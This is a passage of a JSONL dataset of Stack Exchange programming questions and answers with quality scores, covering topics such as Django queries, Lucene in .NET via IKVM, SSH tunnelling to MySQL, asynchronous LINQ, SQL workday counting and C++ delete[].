certificate as ROOT CA will endanger your users privacy. Look what happened with DELL.\nYou can find more information for accomplishing this both in code and through Windows in:\nStack Overflow question\nInstall certificates in to the Windows Local user certificate store in C#\nInstalling a Self-Signed Certificate as a Trusted Root CA in Windows Vista\nHopefully that provides some more information for anyone attempting to do this!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.401457"}
{"id": "hf_b9d77c7a1351", "question": "<p>is there any good Ruby audio libraries that we can build upon?</p>\n\n<p>Need to manage/edit mp3 files!!!</p>\n", "question_body": "", "answer": "There's an\ninterface\nto a C++ mp3 editor, and an active\npure ruby\nproject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.437252"}
{"id": "hf_8cd3cbca3076", "question": "<p>Specifically, I have a model that has a field like this</p>\n\n<pre><code>pub_date = models.DateField(\"date published\")\n</code></pre>\n\n<p>I want to be able to easily grab the object with the most recent <code>pub_date</code>. What is the easiest/best way to do this?</p>\n\n<p>Would something like the following do what I want?</p>\n\n<pre><code>Edition.objects.order_by('pub_date')[:-1]\n</code></pre>\n", "question_body": "", "answer": "```\n```\nobj = Edition.objects.latest('pub_date')\n```\n```\nYou can also simplify things by putting\n```\nget_latest_by\n```\nin the model's Meta, then you'll be able to do\n```\n```\nobj = Edition.objects.latest()\n```\n```\nSee\nthe docs\nfor more info.  You'll probably also want to set the\n```\nordering\n```\nMeta option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.461049"}
{"id": "hf_c9eff3a93d87", "question": "<p>Lucene is an excellent search engine, but the .NET version is behind the official Java release (latest stable .NET release is 2.0, but the latest Java Lucene version is 2.4, which has more features).</p>\n\n<p>How do you get around this?</p>\n", "question_body": "", "answer": "One way I found, which was surprised could work: Create a .NET DLL from a Java .jar file! Using\nIKVM\nyou can\ndownload Lucene\n, get the .jar file, and run:\n```\n```\nikvmc -target:library <path-to-lucene.jar>\n```\n```\nwhich generates a .NET dll like this: lucene-core-2.4.0.dll\nYou can then just reference this DLL from your project and you're good to go! There are some java types you will need, so also reference IKVM.OpenJDK.ClassLibrary.dll. Your code might look a bit like this:\n```\n```\nQueryParser parser = new QueryParser(\"field1\", analyzer);\njava.util.Map boosts = new java.util.HashMap();\nboosts.put(\"field1\", new java.lang.Float(1.0));\nboosts.put(\"field2\", new java.lang.Float(10.0));\n\nMultiFieldQueryParser multiParser = new MultiFieldQueryParser\n                      (new string[] { \"field1\", \"field2\" }, analyzer, boosts);\nmultiParser.setDefaultOperator(QueryParser.Operator.OR);\n\nQuery query = multiParser.parse(\"ABC\");\nHits hits = isearcher.search(query);\n```\n```\nI never knew you could have Java to .NET interoperability so easily. The best part is that C# and Java is \"almost\" source code compatible (where Lucene examples are concerned). Just replace\n```\nSystem.Out\n```\nwith\n```\nConsole.Writeln\n```\n:).\n=======\nUpdate: When building libraries like the Lucene highlighter, make sure you reference the core assembly (else you'll get warnings about missing classes). So the highlighter is built like this:\n```\n```\nikvmc -target:library lucene-highlighter-2.4.0.jar -r:lucene-core-2.4.0.dll\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.485244"}
{"id": "hf_6bf43e73d779", "question": "<p>Given the following markup:</p>\n\n<pre><code>&lt;ul&gt;\n   &lt;li&gt;apple&lt;/li&gt;\n   &lt;li class=\"highlight\"&gt;orange&lt;/li&gt;\n   &lt;li&gt;pear&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>Both the <code>ul</code>s and the <code>li</code>s widths appear to be 100%. If I apply a <code>background-color</code> to the list item, the highlight stretches the full width of the page.</p>\n\n<p>I only want the background highlight to stretch as wide as the widest item (with maybe some padding). How do I constrain the <code>li</code>s (or perhaps the <code>ul</code>s) width to the width of the widest item?</p>\n", "question_body": "", "answer": "Can you do it like this?\n```\n```\n<ul>\n   <li>apple</li>\n   <li><span class=\"highlight\">orange</span></li>\n   <li>pear</li>\n</ul>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.510174"}
{"id": "hf_1b9ebd3a584b", "question": "<p>I have a MySQL database behind a firewall which can only be accessed via an SSH connection. Does anyone know of an implementation of java.sql.Connection which would allow me to make an SSH connection to this database?</p>\n", "question_body": "", "answer": "You can use SSH's port forwarding to do this.  While not a pure java.sql.Connection, it will allow you to tunnel the connection through ssh.\n```\nssh -L 3306:localhost:3306 remote.mysql.host.com\n```\nThis will forward port 3306 on your local machine to port 3306 on remote.mysql.host.com.  This will allow you to connect to port 3306 on your local machine, and it will be tunnelled to remote.mysql.host.com.\nIf you're looking to do it all in Java, create the ssh connection with\nJSch\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.550650"}
{"id": "hf_c1604722eaf6", "question": "<p>I am trying to use reflector.InvokeMethod to invoke a function with an optional parameter.\nThe function looks like this: </p>\n\n<pre><code>Private Function DoSomeStuff(ByVal blah1 as string, ByVal blah2 as string, Optional ByVal blah3 as string = \"45\") as boolean\n'stuff\nend function\n</code></pre>\n\n<p>and I'm Invoking it like this:</p>\n\n<pre><code>Dim result As Boolean = Reflector.InvokeMethod(AccessModifier.private,obj_of_Class, \"DoSomeStuff\", Param1, Param2, Param3)\n</code></pre>\n\n<p>This works fine, other than when I don't pass the third (optional) parameter, it dosn't hit the function.</p>\n\n<pre><code>Dim result As Boolean = Reflector.InvokeMethod(AccessModifier.private,obj_of_Class, \"DoSomeStuff\", Param1, Param2)\n</code></pre>\n\n<p>Is there a way I can use Reflector.invokeMethod to call this function without passing the optional parameter? or another way to achieve this?</p>\n", "question_body": "", "answer": "I would overload the\nDoSomeStuff\nmethod rather than use an optional parameter...\n```\n```\nPrivate Overloads Function DoSomeStuff(ByVal blah1 As String, ByVal blah2 As String) As Boolean\n    Return DoSomeStuff(blah1, blah2, \"45\")\nEnd Function\n\nPrivate Overloads Function DoSomeStuff(ByVal blah1 As String, ByVal blah2 As String, ByVal blah3 As String) As Boolean\n    'stuff\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.575016"}
{"id": "hf_cd52df96062d", "question": "<p>The code at the end produces a compile error:</p>\n\n<pre><code>NotApplicable.java:7: run() in  cannot be applied to (int)\n                run(42);\n                ^\n1 error\n</code></pre>\n\n<p>The question is why?  Why does javac think I am calling run(), and does not find run(int bar)?  It correctly called foo(int bar).  Why do I have to use NotApplicable.this.run(42);?  Is it a bug?</p>\n\n<pre><code>public class NotApplicable {\n\n    public NotApplicable() {\n        new Runnable() {\n            public void run() {\n                foo(42);\n                run(42);\n                // uncomment below to fix\n                //NotApplicable.this.run(42);\n            }\n        };\n    }\n\n    private void run(int bar) {\n    }\n\n    public void foo(int bar) {\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "This is because\n```\nrun\n```\nis being re-declared when you enter the\n```\nnew Runnable() {}\n```\nscope. All previous bindings to run become inaccessible. It's as if you were doing this:\n```\n```\nimport java.util.*;\n\npublic class tmp\n{\n  private int x = 20;\n  public static class Inner\n  {\n      private List x = new ArrayList();\n      public void func()\n      {\n          System.out.println(x + 10);\n      }\n  }\n\n  public static void main(String[] args)\n  {\n    (new Inner()).func();\n  }\n}\n```\n```\nThe compiler won't look for something that matches the type of\n```\nx\n```\nall the way up the scope stack, it'll just halt when it finds the first references and sees that the types are incompatible.\nNOTE:\nIt's not as if it\ncouldn't\ndo this... it's just that, to preserve your own sanity, it's been decided that it shouldn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.599749"}
{"id": "hf_b543ad01eb46", "question": "<p>I open gmail, click on an inbox item, and look at source of the page.  It doesn't look like there isn't any proper html to relate to what is shown on the actual page.</p>\n\n<p>How is the source getting processed into the actual page?  Is there some javascript processing this information?</p>\n", "question_body": "", "answer": "In IE you get a blank page if you right-click and \"View Source\".  If you use the Page menu > View Source, you see the actual page source.  As Steve mentioned, in Firefox you see the actual source both from right-click \"View Page Source\" and from View menu > Page Source.\nI suspect they're taking advantage of some IE-specific obfuscation to hide their secret sauce from 85% of the users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.636484"}
{"id": "hf_836f60713d2b", "question": "<p>I was making the following call:</p>\n\n<pre><code>result = RegOpenKeyEx(key, s, 0, KEY_READ, &amp;key);\n</code></pre>\n\n<p>(C++, Visual Studio 5, Vista 64bit).</p>\n\n<p>It is failing with error code 2 (\"File not found\") even though \"<code>regedit</code>\" shows that the key exists.  This code has always worked on 32bit XP.  Why is it \"file not found\" when it clearly is there?</p>\n", "question_body": "", "answer": "I discovered that I could solve my problem using the flag:\n```\nKEY_WOW64_64KEY\n```\n, as in:\n```\n```\nresult = RegOpenKeyEx(key, s, 0, KEY_READ|KEY_WOW64_64KEY, &key);\n```\n```\nFor a full explanation:\n32-bit and 64-bit Application Data in the Registry", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.695452"}
{"id": "hf_74e1daf2ac0b", "question": "<p>In our data access layer at work we have this standard implementation where the class is accessed through a singleton public property which looks something like this:</p>\n\n<pre><code>public static CustomerController Instance\n        {\n            get \n            {\n                lock(singletonLock)\n                {\n                    if( _instance == null )\n                    {\n                        _instance = new CustomerController();  \n                    }\n                    return _instance;\n                }\n            }\n        }\n</code></pre>\n\n<p>now, I get what the code is doing, but I was wondering why you would do this over just creating an instance of the class each time it is used?</p>\n", "question_body": "", "answer": "EDIT: Oh whoops I didn't catch the \"Data Access Layers\" part. But I have an example of that too: If your multithreaded app funnels all of its' database calls through a singleton class, only one thread will ever access the database at once, avoiding race conditions.\nIf you have a logging mechanism in a multi-threaded application that you use to spit out all exceptions and just write info in (especially for services, or apps that are always running, printing out statuses whenever stuff happens), you will run into file-locking issues. I use a singleton logger class, so that only one thread ever will have access to the Logger, and the rest will wait until the Logger is free to write their line in the text file.\nThere are lots of cool reasons to use a singleton, but I was like you and had no idea what they were FOR until I ran into this issue with file access in a multithreaded app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.719131"}
{"id": "hf_6ee39c2a5fe5", "question": "<p>After I read a bunch of LINQ related stuff, I suddenly realized that no articles introduce how to write asynchronous LINQ query. </p>\n\n<p>Suppose we use LINQ to SQL, below statement is clear. However, if the SQL database responds slowly, then the thread using this block of code would be hindered.</p>\n\n<pre><code>var result = from item in Products where item.Price &gt; 3 select item.Name;\nforeach (var name in result)\n{\n    Console.WriteLine(name);\n}\n</code></pre>\n\n<p>Seems that current LINQ query spec doesn't provide support to this.</p>\n\n<p>Is there any way to do asynchronous programming LINQ? It works like there is a callback \nnotification when results are ready to use without any blocking delay on I/O.</p>\n", "question_body": "", "answer": "While LINQ doesn't really have this per se, the framework itself does...  You can easily roll your own asynchronous query executor in 30 lines or so...  In fact, I just threw this together for you :)\nEDIT: Through writing this, I've discovered why they didn't implement it.  It cannot handle anonymous types since they are scoped local.  Thus, you have no way of defining your callback function.\nThis is a pretty major thing since a lot of linq to sql stuff creates them in the select clause.  Any of the below suggestions suffer the same fate, so I still think this one is the easiest to use!\nEDIT: The only solution is to not use anonymous types.  You can declare the callback as just taking IEnumerable (no type args), and use reflection to access the fields (ICK!!).  Another way would be to declare the callback as \"dynamic\"...  oh... wait...  That's not out yet. :)  This is another decent example of how dynamic could be used.  Some may call it abuse.\nThrow this in your utilities library:\n```\n```\npublic static class AsynchronousQueryExecutor\n{\n    public static void Call<T>(IEnumerable<T> query, Action<IEnumerable<T>> callback, Action<Exception> errorCallback)\n    {\n        Func<IEnumerable<T>, IEnumerable<T>> func =\n            new Func<IEnumerable<T>, IEnumerable<T>>(InnerEnumerate<T>);\n        IEnumerable<T> result = null;\n        IAsyncResult ar = func.BeginInvoke(\n                            query,\n                            new AsyncCallback(delegate(IAsyncResult arr)\n                            {\n                                try\n                                {\n                                    result = ((Func<IEnumerable<T>, IEnumerable<T>>)((AsyncResult)arr).AsyncDelegate).EndInvoke(arr);\n                                }\n                                catch (Exception ex)\n                                {\n                                    if (errorCallback != null)\n                                    {\n                                        errorCallback(ex);\n                                    }\n                                    return;\n                                }\n                                //errors from inside here are the callbacks problem\n                                //I think it would be confusing to report them\n                                callback(result);\n                            }),\n                            null);\n    }\n    private static IEnumerable<T> InnerEnumerate<T>(IEnumerable<T> query)\n    {\n        foreach (var item in query) //the method hangs here while the query executes\n        {\n            yield return item;\n        }\n    }\n}\n```\n```\nAnd you could use it like this:\n```\n```\nclass Program\n{\n\n    public static void Main(string[] args)\n    {\n        //this could be your linq query\n        var qry = TestSlowLoadingEnumerable();\n\n        //We begin the call and give it our callback delegate\n        //and a delegate to an error handler\n        AsynchronousQueryExecutor.Call(qry, HandleResults, HandleError);\n\n        Console.WriteLine(\"Call began on seperate thread, execution continued\");\n        Console.ReadLine();\n    }\n\n    public static void HandleResults(IEnumerable<int> results)\n    {\n        //the results are available in here\n        foreach (var item in results)\n        {\n            Console.WriteLine(item);\n        }\n    }\n\n    public static void HandleError(Exception ex)\n    {\n        Console.WriteLine(\"error\");\n    }\n\n    //just a sample lazy loading enumerable\n    public static IEnumerable<int> TestSlowLoadingEnumerable()\n    {\n        Thread.Sleep(5000);\n        foreach (var i in new int[] { 1, 2, 3, 4, 5, 6 })\n        {\n            yield return i;\n        }\n    }\n\n}\n```\n```\nGoing to go put this up on my blog now, pretty handy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.767264"}
{"id": "hf_8acdcf482e2c", "question": "<p>Currently I have:</p>\n\n<pre><code>&lt;system.net&gt;\n    &lt;mailSettings&gt;\n    &lt;smtp from=\"me@mydomain.com\"&gt;\n        &lt;network \n             host=\"localhost\" \n             port=\"25\"\n             /&gt;\n      &lt;/smtp&gt;\n    &lt;/mailSettings&gt;\n  &lt;/system.net&gt;\n</code></pre>\n\n<p>How can I change it so the email is sent with a name and not the email address only? </p>\n", "question_body": "", "answer": "Well, in code you need to put the sender's name in quotes, followed by the e-mail address.\n```\n```\nnew SmtpClient(...).Send(\"\\\"John Smith\\\" jsmith@somewhere.com\", ...);\n```\n```\nAnd...it looks like you can encode it into the attribute too...\n```\n```\n<smtp from=\"&quot;John Smith&quot; &lt;jsmith@somewhere.com&gt;\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.829257"}
{"id": "hf_c40fd6d0b456", "question": "<p>I have a dynamic Facelets page that needs to show information from database when the page loads. At this point in the flow, there have not been any form submissions. Every JSF example I can find only shows a form submission with dynamic results on the next page.</p>\n\n<p>Every call I make to our database is currently takes place after an action has been triggered by a form submission. Where should this code go if there hasn't been a form submission, and how do I trigger it? A code snippet would really help me out!</p>\n", "question_body": "", "answer": "You write (with my emphasis added):\nEvery call I make to our database is currently takes place after an action\n  has been triggered by a form submission. Where should this code go\n  if there\nhasn't been a form submission\n, and how do I trigger it? A\n  code snippet would really help me out!\nIt sounds to me that you want to retrieve information from the database\nprior\nto form submission.\nIt seems to me that you want to make an Ajax call to query the database. The Ajax call can fire on a different event than the form submisson event. This will probably entail using Javascript rather than the Faces framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.877006"}
{"id": "hf_19ff5e44fd0a", "question": "<p>Given a simple switch statement</p>\n\n<pre><code>switch (int)\n{\n    case 1 :\n    {\n        printf(\"1\\n\");\n        break;\n    }\n\n    case 2 : \n    {\n        printf(\"2\\n\");\n    }\n\n    case 3 : \n    {\n        printf(\"3\\n\");\n    }\n}\n</code></pre>\n\n<p>The absence of a break statement in case 2, implies that execution will continue inside the code for case 3.\nThis is not an accident; it was designed that way. Why was this decisions made? What benefit does this provide vs. having an automatic break semantic for the blocks? What was the rationale?</p>\n", "question_body": "", "answer": "If cases were designed to break implicitly then you couldn't have fallthrough.\n```\n```\ncase 0:\ncase 1:\ncase 2:\n    // all do the same thing.\n    break;\ncase 3:\ncase 4:\n    // do something different.\n    break;\ndefault:\n    // something else entirely.\n```\n```\nIf the switch was designed to break out implicitly after every case you wouldn't have a choice about it.  The switch-case structure was designed the way it is to be more flexible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.924515"}
{"id": "hf_6b4730c60363", "question": "<p>What is the latest version of the Boost library that is compatible with Microsoft Visual C++ 6?  And can you provide a link to download it directly?</p>\n\n<p>The Downloads link at <a href=\"http://www.boost.org\" rel=\"nofollow noreferrer\">http://www.boost.org</a> only gives a download for version 1.36.0, and the documentation for that version lists Visual C++ 7.1 as the lowest version of Microsoft compiler tested.  Do they purge out downloads for older versions?</p>\n", "question_body": "", "answer": "Boost\n1.34.1\nhas been tested with vc6.  The old versions are still available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.947616"}
{"id": "hf_d0a54030034a", "question": "<p>This is a question that's been nagging me for some time. I always thought that C++ should have been designed so that the <code>delete</code> operator (without brackets) works even with the <code>new[]</code> operator.</p>\n\n<p>In my opinion, writing this:</p>\n\n<pre><code>int* p = new int;\n</code></pre>\n\n<p>should be equivalent to allocating an array of 1 element:</p>\n\n<pre><code>int* p = new int[1];\n</code></pre>\n\n<p>If this was true, the <code>delete</code> operator could always be deleting arrays, and we wouldn't need the <code>delete[]</code> operator.</p>\n\n<p>Is there any reason why the <code>delete[]</code> operator was introduced in C++?  The only reason I can think of is that allocating arrays has a small memory footprint (you have to store the array size somewhere), so that distinguishing <code>delete</code> vs <code>delete[]</code> was a small memory optimization.</p>\n", "question_body": "", "answer": "It's so that the destructors of the individual elements will be called.  Yes, for arrays of PODs, there isn't much of a difference, but in C++, you can have arrays of objects with non-trivial destructors.\nNow, your question is, why not make\n```\nnew\n```\nand\n```\ndelete\n```\nbehave like\n```\nnew[]\n```\nand\n```\ndelete[]\n```\nand get rid of\n```\nnew[]\n```\nand\n```\ndelete[]\n```\n?  I would go back Stroustrup's \"Design and Evolution\" book where he said that if you don't use C++ features, you shouldn't have to pay for them (at run time at least).  The way it stands now, a\n```\nnew\n```\nor\n```\ndelete\n```\nwill behave as efficiently as\n```\nmalloc\n```\nand\n```\nfree\n```\n.  If\n```\ndelete\n```\nhad the\n```\ndelete[]\n```\nmeaning, there would be some extra overhead at run time (as James Curran pointed out).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:47.993471"}
{"id": "hf_60a5b8834c4f", "question": "<p>I'm using c#, and have an open tcpip connection receiving data.  Is it possible to save the stream to an ms sql server database as I'm receiving it, instead of receiving all the data then saving it all?  If the stream could be sent to the database as it's being received, you wouldn't have to keep the entire chunk of data in memory.  Is this at all possible?</p>\n", "question_body": "", "answer": "Are you writing to the DB as a BLOB, or translating the data in some form, then executing inserts for each row?\nYour answer in the comments has me confused.  Writing a stream to a BLOB column is vastly different then getting the data then translating it into inserts for separate rows.\nRegardless, streaming into a BLOB column is possible by first creating the row with the blob column that you need to insert into, the repeatedly calling an update statement:\n```\n```\nupdate myTable set myColumn.Write(@data, @offset, @length) where someid = @someId\n```\n```\nfor chunks of bytes from the stream.\nPerfect example located here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.017394"}
{"id": "hf_c05fdf9ec294", "question": "<p>How can I calculate the number of work days between two dates in SQL Server? </p>\n\n<p>Monday to Friday and it must be T-SQL.</p>\n", "question_body": "", "answer": "In\nCalculating Work Days\nyou can find a good article about this subject, but as you can see it is not that advanced.\n```\n```\n--Changing current database to the Master database allows function to be shared by everyone.\nUSE MASTER\nGO\n--If the function already exists, drop it.\nIF EXISTS\n(\n    SELECT *\n    FROM dbo.SYSOBJECTS\n    WHERE ID = OBJECT_ID(N'[dbo].[fn_WorkDays]')\n    AND XType IN (N'FN', N'IF', N'TF')\n)\nDROP FUNCTION [dbo].[fn_WorkDays]\nGO\n CREATE FUNCTION dbo.fn_WorkDays\n--Presets\n--Define the input parameters (OK if reversed by mistake).\n(\n    @StartDate DATETIME,\n    @EndDate   DATETIME = NULL --@EndDate replaced by @StartDate when DEFAULTed\n)\n\n--Define the output data type.\nRETURNS INT\n\nAS\n--Calculate the RETURN of the function.\nBEGIN\n    --Declare local variables\n    --Temporarily holds @EndDate during date reversal.\n    DECLARE @Swap DATETIME\n\n    --If the Start Date is null, return a NULL and exit.\n    IF @StartDate IS NULL\n        RETURN NULL\n\n    --If the End Date is null, populate with Start Date value so will have two dates (required by DATEDIFF below).\n     IF @EndDate IS NULL\n        SELECT @EndDate = @StartDate\n\n    --Strip the time element from both dates (just to be safe) by converting to whole days and back to a date.\n    --Usually faster than CONVERT.\n    --0 is a date (01/01/1900 00:00:00.000)\n     SELECT @StartDate = DATEADD(dd,DATEDIFF(dd,0,@StartDate), 0),\n            @EndDate   = DATEADD(dd,DATEDIFF(dd,0,@EndDate)  , 0)\n\n    --If the inputs are in the wrong order, reverse them.\n     IF @StartDate > @EndDate\n        SELECT @Swap      = @EndDate,\n               @EndDate   = @StartDate,\n               @StartDate = @Swap\n\n    --Calculate and return the number of workdays using the input parameters.\n    --This is the meat of the function.\n    --This is really just one formula with a couple of parts that are listed on separate lines for documentation purposes.\n     RETURN (\n        SELECT\n        --Start with total number of days including weekends\n        (DATEDIFF(dd,@StartDate, @EndDate)+1)\n        --Subtact 2 days for each full weekend\n        -(DATEDIFF(wk,@StartDate, @EndDate)*2)\n        --If StartDate is a Sunday, Subtract 1\n        -(CASE WHEN DATENAME(dw, @StartDate) = 'Sunday'\n            THEN 1\n            ELSE 0\n        END)\n        --If EndDate is a Saturday, Subtract 1\n        -(CASE WHEN DATENAME(dw, @EndDate) = 'Saturday'\n            THEN 1\n            ELSE 0\n        END)\n        )\n    END\nGO\n```\n```\nIf you need to use a custom calendar, you might need to add some checks and some parameters. Hopefully it will provide a good starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.042173"}
{"id": "hf_28a8c646ddf7", "question": "<p>When upgrading MySQL, I first create a backup of the database. Then I will uninstall the current version installed, and delete all the files that were left by the installer. Then I install the latest GA version, and restore the created back-up, using the MySQL Administrator.</p>\n\n<p>Is there a better way of doing an upgrade of the MySQL. Because I have to create again all the users that are allowed to connect to the database.</p>\n\n<p>The installation of the MySQL is used in a college enrollment system, a client server system I have developed using VB.Net and MySQL. I can only do the update at night because i know no one is connected to the database.</p>\n", "question_body": "", "answer": "you can dump the\n```\nmysql.user\n```\nand\n```\nmysql.db\n```\ntables, which contains all the user info, and reimport that as well, to avoid having to recreate all that. i'd also suggest running repairs on the table after you re-import.\nalternatively, you could create a listing of grants:\n```\n```\nselect concat('show grants for ',quote(user),'@',quote(host),';') from mysql.user\n```\n```\nthis will output a list of sql statements that you can then run to get specific grant statements.\nultimately though, you'll want to check out your specific version information regarding upgrades, to make sure you've considered any version specific compatibility issues.\nhere\nis some information for a 4.1 - 5.x upgrade, for example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.077795"}
{"id": "hf_a090becfbd69", "question": "<p>When should unions be used? Why do we need them?</p>\n", "question_body": "", "answer": "Unions allow data members which are mutually exclusive to share the same memory.  This is quite important when memory is more scarce, such as in embedded systems.\nIn the following example:\n```\n```\nunion {\n   int a;\n   int b;\n   int c;\n} myUnion;\n```\n```\nThis union will take up the space of a single int, rather than 3 separate int values.  If the user set the value of\na\n, and then set the value of\nb\n, it would overwrite the value of\na\nsince they are both sharing the same memory location.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.113905"}
{"id": "hf_4f5c8b216d0c", "question": "<p>What is meant by redundant function? What is the difference between a redundant function &amp; an inline function? </p>\n", "question_body": "", "answer": "A\nredundant\nfunction is one which has potentially been superseded by another function, and shouldn't be used anymore.  I guess it can be thought of in the same way as a deprecated function.\nAn\ninline\nfunction, in C and C++, is one which is implemented in the header file rather than the .c or .cpp file.  The compiler will replace all calls to that function with the function body itself, rather than linking to it via the symbol table.  This will make the compiled binaries bigger, but it has the advantage that the function will run a little bit faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.137565"}
{"id": "hf_b09a7e069430", "question": "<p>On large files (~200+ MB), I get the 503 error when I read the stream.</p>\n\n<pre><code>ftp = (FtpWebRequest)WebRequest.Create(new Uri(address.AbsoluteUri + @\"/\" + file.Name));\nftp.Credentials = new NetworkCredential(username, password);\nftp.Method = WebRequestMethods.Ftp.DownloadFile;\n\nresponse = (FtpWebResponse)ftp.GetResponse();\n</code></pre>\n\n<p>Any clues on what I'm doing wrong or a better practice for larger files?</p>\n", "question_body": "", "answer": "Do you receive the 503 after every attempt or only subsequent attempts?\nHave you tried setting the disabling KeepAlive?\n```\n```\nftp.KeepAlive = false;\n```\n```\nI would try a more rubust ftp client library, a basic free one can be at\nsourceforge\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:48.172166"}
{"id": "hf_2ac704e63d28", "question": "<p>In my Windows XP Task Manager, some processes display a higher value in the Mem Usage column than the VMSize. My Firefox instance, for example shows 111544 K as mem usage and 100576 K as VMSize. </p>\n\n<p>According to the help file of Task Manager Mem Usage is the working set of the process and VMSize is the committed memory in the Virtual address space.</p>\n\n<p>My question is, if the number of committed pages for a process is A and the number of pages in physical memory for the same process is B, shouldn't it always  be B ≤ A? Isn't the number of pages in physical memory per process a subset of the committed pages?</p>\n\n<p>Or is this something to do with sharing of memory among processes? Please explain. (Perhaps my definition of 'Working Set' is off the mark).</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You might find some explaination in\nThe Memory Shell Game\nWorking Set\n(A) – This is a set of virtual memory pages (that are committed) for a process and are located in physical RAM.  These pages fully belong to the process.  A working set is like a \"currently/recently working on these pages\" list.\nVirtual Memory\n– This is a memory that an operating system can address.  Regardless of the amount of physical RAM or hard drive space, this number is 